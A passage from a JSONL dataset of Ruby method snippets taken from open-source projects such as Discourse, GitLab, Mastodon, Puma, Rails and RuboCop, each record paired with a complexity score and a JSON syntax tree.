"]},\"[]\",{\"type\":\"str\",\"children\":[\"twilio/quick-reply\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"body\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"template_types\"]},\"[]\",{\"type\":\"str\",\"children\":[\"twilio/catalog\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"template_types\"]},\"[]\",{\"type\":\"str\",\"children\":[\"twilio/catalog\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"body\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}]}]}","id":"e77ad112-5a51-40ab-9ba7-5ed10966b0b6"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20200728000854_duplicate_allowed_paths_from_path_whitelist.rb","start_line":4,"raw_source":"def up\n    unless column_exists?(:embeddable_hosts, :allowed_paths)\n      add_column :embeddable_hosts, :allowed_paths, :string\n    end\n\n    if column_exists?(:embeddable_hosts, :path_whitelist)\n      Migration::ColumnDropper.mark_readonly(\"embeddable_hosts\", \"path_whitelist\")\n\n      DB.exec <<~SQL if column_exists?(:embeddable_hosts, :allowed_paths)\n          UPDATE embeddable_hosts\n          SET allowed_paths = path_whitelist\n        SQL\n    end\n  end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"column_exists?\",{\"type\":\"sym\",\"children\":[\"embeddable_hosts\"]},{\"type\":\"sym\",\"children\":[\"allowed_paths\"]}]},null,{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"embeddable_hosts\"]},{\"type\":\"sym\",\"children\":[\"allowed_paths\"]},{\"type\":\"sym\",\"children\":[\"string\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"column_exists?\",{\"type\":\"sym\",\"children\":[\"embeddable_hosts\"]},{\"type\":\"sym\",\"children\":[\"path_whitelist\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Migration\"]},\"ColumnDropper\"]},\"mark_readonly\",{\"type\":\"str\",\"children\":[\"embeddable_hosts\"]},{\"type\":\"str\",\"children\":[\"path_whitelist\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"column_exists?\",{\"type\":\"sym\",\"children\":[\"embeddable_hosts\"]},{\"type\":\"sym\",\"children\":[\"allowed_paths\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE embeddable_hosts\\n\"]},{\"type\":\"str\",\"children\":[\"SET allowed_paths = path_whitelist\\n\"]}]}]},null]}]},null]}]}]}","id":"738ebcba-7314-4ff4-bd90-ffca53e21392"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/tab_helper.rb","start_line":177,"raw_source":"def route_matches_paths?(paths)\n    Array(paths).compact.any? do |single_path|\n      current_path?(single_path)\n    end\n  end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"route_matches_paths?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"paths\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"lvar\",\"children\":[\"paths\"]}]},\"compact\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"single_path\"]}]},{\"type\":\"send\",\"children\":[null,\"current_path?\",{\"type\":\"lvar\",\"children\":[\"single_path\"]}]}]}]}","id":"f0caea6c-da3e-416a-9690-df629d64d041"}
{"repo_name":"puma","file_path":"./repos/puma/lib/puma/server.rb","start_line":164,"raw_source":"def cork_socket(socket)\n        skt = socket.to_io\n        begin\n          skt.setsockopt(Socket::IPPROTO_TCP, Socket::TCP_CORK, 1) if skt.kind_of? TCPSocket\n        rescue IOError, SystemCallError\n          Puma::Util.purge_interrupt_queue\n        end\n      end","complexity_score":7.85,"ast_json":"{\"type\":\"def\",\"children\":[\"cork_socket\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"socket\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"skt\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"socket\"]},\"to_io\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"skt\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"TCPSocket\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"skt\"]},\"setsockopt\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Socket\"]},\"IPPROTO_TCP\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Socket\"]},\"TCP_CORK\"]},{\"type\":\"int\",\"children\":[1]}]},null]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOError\"]},{\"type\":\"const\",\"children\":[null,\"SystemCallError\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Puma\"]},\"Util\"]},\"purge_interrupt_queue\"]}]},null]}]}]}]}","id":"8ae5abb7-c43d-481d-9e29-03a7898171e2"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/serializers/rest/status_serializer.rb","start_line":82,"raw_source":"def uri\n    ActivityPub::TagManager.instance.uri_for(object)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"uri\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"TagManager\"]},\"instance\"]},\"uri_for\",{\"type\":\"send\",\"children\":[null,\"object\"]}]}]}","id":"5d924928-1e54-4b5e-8ff8-35ce6fba3793"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/gitlab/github_gists_import/finish_import_worker.rb","start_line":37,"raw_source":"def wait_for_jobs(key, remaining)\n        waiter = JobWaiter.new(remaining, key)\n        waiter.wait(BLOCKING_WAIT_TIME)\n\n        return if waiter.jobs_remaining == 0\n\n        waiter\n      end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"wait_for_jobs\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"remaining\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"waiter\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JobWaiter\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"remaining\"]},{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"waiter\"]},\"wait\",{\"type\":\"const\",\"children\":[null,\"BLOCKING_WAIT_TIME\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"waiter\"]},\"jobs_remaining\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvar\",\"children\":[\"waiter\"]}]}]}","id":"64048aff-fc71-433f-8373-76f6a9773dea"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/date_helper_test.rb","start_line":1893,"raw_source":"def test_date_select_with_selected_in_hash\n    @post = Post.new\n    @post.written_on = Date.new(2004, 6, 15)\n\n    expected = +%{<select id=\"post_written_on_1i\" name=\"post[written_on(1i)]\">\\n}\n    expected << %{<option value=\"1999\">1999</option>\\n<option value=\"2000\">2000</option>\\n<option value=\"2001\">2001</option>\\n<option value=\"2002\">2002</option>\\n<option value=\"2003\">2003</option>\\n<option selected=\"selected\" value=\"2004\">2004</option>\\n<option value=\"2005\">2005</option>\\n<option value=\"2006\">2006</option>\\n<option value=\"2007\">2007</option>\\n<option value=\"2008\">2008</option>\\n<option value=\"2009\">2009</option>\\n}\n    expected << \"</select>\\n\"\n\n    expected << %{<select id=\"post_written_on_2i\" name=\"post[written_on(2i)]\">\\n}\n    expected << %{<option value=\"1\">January</option>\\n<option value=\"2\">February</option>\\n<option value=\"3\">March</option>\\n<option value=\"4\">April</option>\\n<option value=\"5\">May</option>\\n<option value=\"6\">June</option>\\n<option value=\"7\" selected=\"selected\">July</option>\\n<option value=\"8\">August</option>\\n<option value=\"9\">September</option>\\n<option value=\"10\">October</option>\\n<option value=\"11\">November</option>\\n<option value=\"12\">December</option>\\n}\n    expected << \"</select>\\n\"\n\n    expected << %{<select id=\"post_written_on_3i\" name=\"post[written_on(3i)]\">\\n}\n    expected << %{<option value=\"1\">1</option>\\n<option value=\"2\">2</option>\\n<option value=\"3\">3</option>\\n<option value=\"4\">4</option>\\n<option value=\"5\">5</option>\\n<option value=\"6\">6</option>\\n<option value=\"7\">7</option>\\n<option value=\"8\">8</option>\\n<option value=\"9\">9</option>\\n<option value=\"10\" selected=\"selected\">10</option>\\n<option value=\"11\">11</option>\\n<option value=\"12\">12</option>\\n<option value=\"13\">13</option>\\n<option value=\"14\">14</option>\\n<option value=\"15\">15</option>\\n<option value=\"16\">16</option>\\n<option value=\"17\">17</option>\\n<option value=\"18\">18</option>\\n<option value=\"19\">19</option>\\n<option value=\"20\">20</option>\\n<option value=\"21\">21</option>\\n<option value=\"22\">22</option>\\n<option value=\"23\">23</option>\\n<option value=\"24\">24</option>\\n<option value=\"25\">25</option>\\n<option value=\"26\">26</option>\\n<option value=\"27\">27</option>\\n<option value=\"28\">28</option>\\n<option value=\"29\">29</option>\\n<option value=\"30\">30</option>\\n<option value=\"31\">31</option>\\n}\n\n    expected << \"</select>\\n\"\n\n    assert_dom_equal expected, date_select(\"post\", \"written_on\", selected: { day: 10, month: 07, year: 2004 })\n  end","complexity_score":18.15,"ast_json":"{\"type\":\"def\",\"children\":[\"test_date_select_with_selected_in_hash\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@post\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post\"]},\"written_on=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"new\",{\"type\":\"int\",\"children\":[2004]},{\"type\":\"int\",\"children\":[6]},{\"type\":\"int\",\"children\":[15]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"<select id=\\\"post_written_on_1i\\\" name=\\\"post[written_on(1i)]\\\">\\n\"]},\"+@\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"<option value=\\\"1999\\\">1999</option>\\n<option value=\\\"2000\\\">2000</option>\\n<option value=\\\"2001\\\">2001</option>\\n<option value=\\\"2002\\\">2002</option>\\n<option value=\\\"2003\\\">2003</option>\\n<option selected=\\\"selected\\\" value=\\\"2004\\\">2004</option>\\n<option value=\\\"2005\\\">2005</option>\\n<option value=\\\"2006\\\">2006</option>\\n<option value=\\\"2007\\\">2007</option>\\n<option value=\\\"2008\\\">2008</option>\\n<option value=\\\"2009\\\">2009</option>\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"</select>\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"<select id=\\\"post_written_on_2i\\\" name=\\\"post[written_on(2i)]\\\">\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"<option value=\\\"1\\\">January</option>\\n<option value=\\\"2\\\">February</option>\\n<option value=\\\"3\\\">March</option>\\n<option value=\\\"4\\\">April</option>\\n<option value=\\\"5\\\">May</option>\\n<option value=\\\"6\\\">June</option>\\n<option value=\\\"7\\\" selected=\\\"selected\\\">July</option>\\n<option value=\\\"8\\\">August</option>\\n<option value=\\\"9\\\">September</option>\\n<option value=\\\"10\\\">October</option>\\n<option value=\\\"11\\\">November</option>\\n<option value=\\\"12\\\">December</option>\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"</select>\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"<select id=\\\"post_written_on_3i\\\" name=\\\"post[written_on(3i)]\\\">\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"<option value=\\\"1\\\">1</option>\\n<option value=\\\"2\\\">2</option>\\n<option value=\\\"3\\\">3</option>\\n<option value=\\\"4\\\">4</option>\\n<option value=\\\"5\\\">5</option>\\n<option value=\\\"6\\\">6</option>\\n<option value=\\\"7\\\">7</option>\\n<option value=\\\"8\\\">8</option>\\n<option value=\\\"9\\\">9</option>\\n<option value=\\\"10\\\" selected=\\\"selected\\\">10</option>\\n<option value=\\\"11\\\">11</option>\\n<option value=\\\"12\\\">12</option>\\n<option value=\\\"13\\\">13</option>\\n<option value=\\\"14\\\">14</option>\\n<option value=\\\"15\\\">15</option>\\n<option value=\\\"16\\\">16</option>\\n<option value=\\\"17\\\">17</option>\\n<option value=\\\"18\\\">18</option>\\n<option value=\\\"19\\\">19</option>\\n<option value=\\\"20\\\">20</option>\\n<option value=\\\"21\\\">21</option>\\n<option value=\\\"22\\\">22</option>\\n<option value=\\\"23\\\">23</option>\\n<option value=\\\"24\\\">24</option>\\n<option value=\\\"25\\\">25</option>\\n<option value=\\\"26\\\">26</option>\\n<option value=\\\"27\\\">27</option>\\n<option value=\\\"28\\\">28</option>\\n<option value=\\\"29\\\">29</option>\\n<option value=\\\"30\\\">30</option>\\n<option value=\\\"31\\\">31</option>\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"</select>\\n\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"send\",\"children\":[null,\"date_select\",{\"type\":\"str\",\"children\":[\"post\"]},{\"type\":\"str\",\"children\":[\"written_on\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"selected\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"day\"]},{\"type\":\"int\",\"children\":[10]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"month\"]},{\"type\":\"int\",\"children\":[7]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"year\"]},{\"type\":\"int\",\"children\":[2004]}]}]}]}]}]}]}]}]}","id":"df142922-a0f4-4f0b-bcf6-432d927b5163"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/redis/wrapper.rb","start_line":163,"raw_source":"def sentinels?\n        sentinels && !sentinels.empty?\n      end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"sentinels?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sentinels\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sentinels\"]},\"empty?\"]},\"!\"]}]}]}","id":"ec3bee01-a32a-4747-a48a-ae9fd90dda53"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/search_query_transformer.rb","start_line":151,"raw_source":"def initialize(prefix, operator, term, options = {})\n      @prefix = prefix\n      @negated = operator == '-'\n      @options = options\n      @operator = :filter\n\n      case prefix\n      when 'has', 'is'\n        @filter = :properties\n        @type = :term\n        @term = term\n      when 'language'\n        @filter = :language\n        @type = :term\n        @term = language_code_from_term(term)\n      when 'from'\n        @filter = :account_id\n        @type = :term\n        @term = account_id_from_term(term)\n      when 'before'\n        @filter = :created_at\n        @type = :range\n        @term = { lt: date_from_term(term), time_zone: @options[:current_account]&.user_time_zone.presence || 'UTC' }\n      when 'after'\n        @filter = :created_at\n        @type = :range\n        @term = { gt: date_from_term(term), time_zone: @options[:current_account]&.user_time_zone.presence || 'UTC' }\n      when 'during'\n        @filter = :created_at\n        @type = :range\n        @term = { gte: date_from_term(term), lte: date_from_term(term), time_zone: @options[:current_account]&.user_time_zone.presence || 'UTC' }\n      when 'in'\n        @operator = :flag\n        @term = term\n      else\n        raise \"Unknown prefix: #{prefix}\"\n      end\n    end","complexity_score":64.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"prefix\"]},{\"type\":\"arg\",\"children\":[\"operator\"]},{\"type\":\"arg\",\"children\":[\"term\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@prefix\",{\"type\":\"lvar\",\"children\":[\"prefix\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@negated\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"operator\"]},\"==\",{\"type\":\"str\",\"children\":[\"-\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@options\",{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@operator\",{\"type\":\"sym\",\"children\":[\"filter\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prefix\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"has\"]},{\"type\":\"str\",\"children\":[\"is\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@filter\",{\"type\":\"sym\",\"children\":[\"properties\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@type\",{\"type\":\"sym\",\"children\":[\"term\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@term\",{\"type\":\"lvar\",\"children\":[\"term\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"language\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@filter\",{\"type\":\"sym\",\"children\":[\"language\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@type\",{\"type\":\"sym\",\"children\":[\"term\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@term\",{\"type\":\"send\",\"children\":[null,\"language_code_from_term\",{\"type\":\"lvar\",\"children\":[\"term\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"from\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@filter\",{\"type\":\"sym\",\"children\":[\"account_id\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@type\",{\"type\":\"sym\",\"children\":[\"term\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@term\",{\"type\":\"send\",\"children\":[null,\"account_id_from_term\",{\"type\":\"lvar\",\"children\":[\"term\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"before\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@filter\",{\"type\":\"sym\",\"children\":[\"created_at\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@type\",{\"type\":\"sym\",\"children\":[\"range\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@term\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"lt\"]},{\"type\":\"send\",\"children\":[null,\"date_from_term\",{\"type\":\"lvar\",\"children\":[\"term\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"time_zone\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"current_account\"]}]},\"user_time_zone\"]},\"presence\"]},{\"type\":\"str\",\"children\":[\"UTC\"]}]}]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"after\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@filter\",{\"type\":\"sym\",\"children\":[\"created_at\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@type\",{\"type\":\"sym\",\"children\":[\"range\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@term\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"gt\"]},{\"type\":\"send\",\"children\":[null,\"date_from_term\",{\"type\":\"lvar\",\"children\":[\"term\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"time_zone\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"current_account\"]}]},\"user_time_zone\"]},\"presence\"]},{\"type\":\"str\",\"children\":[\"UTC\"]}]}]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"during\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@filter\",{\"type\":\"sym\",\"children\":[\"created_at\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@type\",{\"type\":\"sym\",\"children\":[\"range\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@term\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"gte\"]},{\"type\":\"send\",\"children\":[null,\"date_from_term\",{\"type\":\"lvar\",\"children\":[\"term\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"lte\"]},{\"type\":\"send\",\"children\":[null,\"date_from_term\",{\"type\":\"lvar\",\"children\":[\"term\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"time_zone\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"current_account\"]}]},\"user_time_zone\"]},\"presence\"]},{\"type\":\"str\",\"children\":[\"UTC\"]}]}]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"in\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@operator\",{\"type\":\"sym\",\"children\":[\"flag\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@term\",{\"type\":\"lvar\",\"children\":[\"term\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unknown prefix: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prefix\"]}]}]}]}]}]}]}","id":"df8ce484-354e-41bc-a167-240baefae92d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/discussions/resolve_service.rb","start_line":28,"raw_source":"def noteable_is_same?\n      return true unless discussions.size > 1\n\n      # Perform this check without fetching extra records\n      discussions.all? do |discussion|\n        discussion.noteable_type == first_discussion.noteable_type &&\n          discussion.noteable_id == first_discussion.noteable_id\n      end\n    end","complexity_score":20.4,"ast_json":"{\"type\":\"def\",\"children\":[\"noteable_is_same?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"discussions\"]},\"size\"]},\">\",{\"type\":\"int\",\"children\":[1]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"discussions\"]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"discussion\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"discussion\"]},\"noteable_type\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"first_discussion\"]},\"noteable_type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"discussion\"]},\"noteable_id\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"first_discussion\"]},\"noteable_id\"]}]}]}]}]}]}","id":"8ebdc96b-48e1-4454-9e2c-4541bdc59c80"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/server/helper.rb","start_line":17,"raw_source":"def self.redirect(stdin: $stdin, stdout: $stdout, stderr: $stderr, &_block)\n        old_stdin = $stdin.dup\n        old_stdout = $stdout.dup\n        old_stderr = $stderr.dup\n\n        $stdin = stdin\n        $stdout = stdout\n        $stderr = stderr\n\n        yield\n      ensure\n        $stdin = old_stdin\n        $stdout = old_stdout\n        $stderr = old_stderr\n      end","complexity_score":7.7,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"redirect\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"stdin\",{\"type\":\"gvar\",\"children\":[\"$stdin\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"stdout\",{\"type\":\"gvar\",\"children\":[\"$stdout\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"stderr\",{\"type\":\"gvar\",\"children\":[\"$stderr\"]}]},{\"type\":\"blockarg\",\"children\":[\"_block\"]}]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"old_stdin\",{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$stdin\"]},\"dup\"]}]},{\"type\":\"lvasgn\",\"children\":[\"old_stdout\",{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$stdout\"]},\"dup\"]}]},{\"type\":\"lvasgn\",\"children\":[\"old_stderr\",{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$stderr\"]},\"dup\"]}]},{\"type\":\"gvasgn\",\"children\":[\"$stdin\",{\"type\":\"lvar\",\"children\":[\"stdin\"]}]},{\"type\":\"gvasgn\",\"children\":[\"$stdout\",{\"type\":\"lvar\",\"children\":[\"stdout\"]}]},{\"type\":\"gvasgn\",\"children\":[\"$stderr\",{\"type\":\"lvar\",\"children\":[\"stderr\"]}]},{\"type\":\"yield\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"gvasgn\",\"children\":[\"$stdin\",{\"type\":\"lvar\",\"children\":[\"old_stdin\"]}]},{\"type\":\"gvasgn\",\"children\":[\"$stdout\",{\"type\":\"lvar\",\"children\":[\"old_stdout\"]}]},{\"type\":\"gvasgn\",\"children\":[\"$stderr\",{\"type\":\"lvar\",\"children\":[\"old_stderr\"]}]}]}]}]}","id":"c2287765-a2b8-4ae0-ae11-447855c8d951"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/post_mover.rb","start_line":714,"raw_source":"def update_bookmarks\n    DB.after_commit do\n      Jobs.enqueue(:sync_topic_user_bookmarked, topic_id: @original_topic.id)\n      Jobs.enqueue(:sync_topic_user_bookmarked, topic_id: @destination_topic.id)\n    end\n  